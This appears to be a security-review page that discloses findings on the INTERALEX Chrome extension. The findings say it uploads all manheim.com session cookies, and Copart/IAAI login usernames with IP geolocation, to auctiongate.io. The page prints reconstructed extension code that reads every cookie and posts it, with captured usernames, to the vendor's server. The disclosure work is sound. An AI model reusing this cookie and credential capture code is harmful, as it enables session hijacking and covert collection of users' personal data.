Is INTERALEX safe?

Medium risk

INTERALEX uploads all manheim.com cookies and Copart/IAAI login usernames to auctiongate.io.

After you log into Manheim, the extension reads every manheim.com cookie, including session and partitioned cookies, and sends them to auctiongate.io. For users not signed in to AuctionGate, it also sends Copart and IAAI login usernames with IP address, ISP and location. It additionally logs auction page visits and bids with IP geolocation, and routes manheim.com traffic through a vendor proxy.

auctiongate.iov0.18.11.5Chrome Web Store
55Risk
Who publishes it

auctiongate.io - 9 other listings from the same operator, 6 of them carrying a finding

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
auctiongate.io

Same store account

9 other listings published from this account, 11k+ users between them. 6 of them carry a finding.

Shared hosts - 20 hostnames

Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.

auction.copart.ca
Also called by 1 other listing: RAM Shipping
auction.copart.com
Also called by 1 other listing: RAM Shipping
negotiation.iaai.com
Also called by 1 other listing: RAM Shipping
wss-api.auctiongate.io
Also called by 1 other listing
2ip.io
Also called by 2 other listings
account.manheim.com
Also called by 2 other listings: RAM Shipping, ListCentral Extension
api.allreports.tools
Also called by 2 other listings
auctiongate.io
Also called by 2 other listings
checkvin-online.com
Also called by 2 other listings
delivery-calculator.stat.vin
Also called by 2 other listings
deliverycalculator.parsite.dev
Also called by 2 other listings, including Stat Vin
extmetrics.auctiongate.io
Also called by 2 other listings, including Stat Vin
g2auction.copart.ca
Also called by 2 other listings
happycarservice.com
Also called by 2 other listings, including Stat Vin
helpdesk.auctiongate.io
Also called by 2 other listings, including Stat Vin
onesearch-api.manheim.com
Also called by 2 other listings
auctionhistory.io
Also called by 3 other listings, including OpenDataCar
portal.auctionnow
Also called by 3 other listings, including OpenDataCar
stat.vin
Also called by 3 other listings, including OpenDataCar
mcom-header-footer.manheim.com
Also called by 6 other listings, including OpenDataCar, Boss Motors extension, GLB GE extension

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Copart and IAAI usernames are sent with your IP and location to auctiongate.io

Code analysis shows Copart or IAAI login usernames are POSTed to auctiongate.io with IP address, ISP and geolocation when the user is not signed in to AuctionGate.

Severity
High unwanted
Type
Unexpected
CWE
CWE-359
Source
Static analysis
What actually happens
You did this

You sign in at Copart or IAAI without being signed in to AuctionGate.

The extension did this

The extension posts the username you typed, with your IP and location, to auctiongate.io.

Code analysis only; this was not observed at runtime.

The code that does this

Username capture and upload

Readable version

Same logic, names restored

js/background/utils/guestLoginControl.js
// 1. On a login POST to copart.com/processLogin or login.iaai.com/Identity, keep the typed usernamecurrentGuestDTO = { userName: body.username /* copart */ || formData["Input.Email"][0] /* iaai */, host };// 2. On the 302 login-success response, if the user is NOT signed in to AuctionGate (is_auth falsy):const ipInfo = await getIPInfo();   // json.geoiplookup.io / ip-api.comconst payload = {  event: "Guest user auth",  host, user_agent, platform,  user_ip, user_isp, user_city, user_country, user_region, latitude, longitude,  app_user_name: currentGuestDTO.userName,  last_app_user_name, last_app_user_company_id, last_app_user_id, last_login_date};// 3. Sent only when last_app_user_id is set (a prior AuctionGate login was recorded)POST auctiongate.io/api/v1/auction-auth-log   // multipart FormData, plus api_token
Fields in the multipart record
  • Login username
    app_user_name: jsmith@example.com

    The username or email you typed into the Copart or IAAI login form.

  • IP address
    user_ip: 203.0.113.42

    Your public IP address as returned by a geolocation lookup.

  • ISP and location
    user_isp: Example Broadband; latitude: 51.5072

    Your provider, city, region, country and coordinates.

  • Browser and platform
    platform: Windows

    Your user agent string and operating system platform.

Destinations
    • auctiongate.io

    Receives the login record at /api/v1/auction-auth-log.

    • json.geoiplookup.io

    Queried from the extension to resolve IP, ISP and location.

    • ip-api.com

    Fallback geolocation lookup used by the same routine.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

Manheim cookies are uploaded to auctiongate.io after you log in to Manheim

Code analysis shows every manheim.com cookie, including HttpOnly and partitioned ones, is POSTed to auctiongate.io once a Manheim login is detected, under a field named a risk profile.

Severity
High unwanted
Type
Unexpected
CWE
CWE-522
Source
Static analysis
What actually happens
You did this

You log in to Manheim in a browser with this extension and an AuctionGate session.

The extension did this

The extension reads all your manheim.com cookies and posts them to auctiongate.io.

Code analysis only; this was not observed at runtime.

The code that does this

Cookie read and upload path

Readable version

Same logic, names restored

js/background/manheim/manheimLoginControl.js
async function saveValidAuthCookies({URI}) {  const allCookies = [    ...await chrome.cookies.getAll({ domain: "manheim.com" }),   // every cookie, no name filter    ...await getManheimPartitionedCookies()                      // plus partitioned cookies  ];  const res = await sendManheimCookies({ allCookies, URI });  if (res?.responseStatus && !(res.responseStatus >= 400)) {    await setLocalstorage({ isManheimServerAuthCookiesValid: true });  }}// POST body sent to URI.auctionAccount.manheimSaveRiskProfile// = auctiongate.io/api/v3/auction-account/add-manheim-auth-hash{  auction_account_id: <manheimId from local storage>,  pingone_risk_device_profile: JSON.stringify({ allCookies }),  pingone_risk_browser_profile: "none"}
Request body sent to auctiongate.io
  • Cookie set
    {"allCookies":[{"name":"...","domain":".manheim.com","httpOnly":true}]}

    Every cookie for manheim.com, including session and auth cookies, with no name filter.

  • Manheim account ID
    auction_account_id: manheimId from local storage

    Links the uploaded cookies to your Manheim account record.

  • Browser profile
    none

    A fixed filler value beside the cookie field.

Destination
    • auctiongate.io

    Receives the cookies at /api/v3/auction-account/add-manheim-auth-hash.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

Where it sends data

Destinations our analysis observed INTERALEX contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • ip-api.comwidely used

    INTERALEX sends data to ip-api.com. A widely used service: 73 other extensions we have analysed send data here.

  • json.geoiplookup.io

    INTERALEX sends data to json.geoiplookup.io. 17 other extensions we have analysed send data here.

  • auctiongate.io

    INTERALEX sends data to auctiongate.io. 10 other extensions we have analysed send data here.